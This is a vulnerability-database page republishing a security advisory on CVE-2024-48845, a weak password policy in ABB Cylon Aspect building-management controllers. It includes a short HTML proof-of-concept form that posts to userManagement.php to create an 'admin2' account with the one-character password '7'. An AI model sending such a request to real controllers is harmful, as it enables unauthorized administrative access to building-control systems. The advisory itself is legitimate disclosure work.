Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline

ABB Cylon Aspect 3.07.02 (userManagement.php) Weak Password Policy

šŸ—“ļøĀ 06 Jan 2025Ā 00:00:00Reported byĀ Gjoko KrsticTypeĀ 
zeroscience
Ā zerosciencešŸ”—Ā zeroscience.mkšŸ‘Ā 321Ā Views

ABB Cylon Aspect 3.07.02 has weak password policy, allowing simplistic credentials for unauthorized access.

Show more
Related
Code
ReporterTitlePublishedViews
Family
Vulnrichment		CVE-2024-48845 Weak Password Rules/Strength
5 Dec 202412:42
ā€“vulnrichment
CVE		CVE-2024-48845
5 Dec 202413:15
ā€“cve
NVD		CVE-2024-48845
5 Dec 202413:15
ā€“nvd
Cvelist		CVE-2024-48845 Weak Password Rules/Strength
5 Dec 202412:42
ā€“cvelist
0day.today		ABB Cylon Aspect 3.07.02 userManagement.php Weak Password Policy Vulnerability
1 Jan 202500:00
ā€“zdt
<html>
<!--

ABB Cylon Aspect 3.07.02 (userManagement.php) Weak Password Policy


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.07.02

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The ABB BMS/BAS controller suffers from a weak password policy, allowing
users to set overly simplistic or blank passwords and usernames without restrictions.
This vulnerability significantly reduces account security, enabling attackers
to exploit weak credentials for unauthorized access to the system.

Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
           ErgoTech MIX Deployment Server 2.0.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2024-5898
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5898.php
CVE ID: CVE-2024-48845
CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48845


21.04.2024

--><body><p>



                 P   R   O   J   E   C   T

                        .|
                        | |
                        |'|            ._____
                ___    |  |            |.   |' .---"|
        _    .-'   '-. |  |     .--'|  ||   | _|    |
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |
     |' | |.    |    ||       | |   |  |    ||      |
 ____|  '-'     '    ""       '-'   '-.'    '`      |____
ā–‘ā–’ā–“ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–“ā–’ā–‘ ā–‘ā–’ā–“ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–“ā–’ā–‘  
ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ 
ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ 
ā–‘ā–’ā–“ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ 
ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ 
ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ 
ā–‘ā–’ā–“ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘                                                            
         ā–‘ā–’ā–“ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–“ā–’ā–‘ ā–‘ā–’ā–“ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–“ā–’ā–‘ 
         ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–‘ā–‘ā–‘ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘
         ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–‘ā–‘ā–‘ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–‘ā–‘ā–‘ā–‘ā–‘ 
         ā–‘ā–’ā–“ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–’ā–“ā–ˆā–ˆā–ˆā–“ā–’ā–‘
         ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–‘ā–‘ā–‘ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘
         ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–‘ā–‘ā–‘ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘
         ā–‘ā–’ā–“ā–ˆā–“ā–’ā–‘ā–‘ā–‘ā–‘ā–‘ā–‘ā–‘ā–‘ā–’ā–“ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–“ā–’ā–‘ ā–‘ā–’ā–“ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–“ā–’ā–‘                                               
                                                                                                               

</p>
<form action="http://192.168.73.31/userManagement.php" method="POST">
<input name="USER" type="hidden" value="admin2"/>
<input name="PASSWORD" type="hidden" value="7"/>
<input name="ACTION" type="hidden" value="Add"/>
<input type="submit" value="Setirkaj."/>
</form>
</body></html>

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. ContactĀ us for a demo andĀ discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
06 Jan 2025 00:00Current
9.3High risk
Vulners AI Score9.3
CVSS39.4
CVSS49.3
SSVC
weak password policyunauthorized accessabb cylon aspectsecurity advisoryaccount security.
321
.json
Report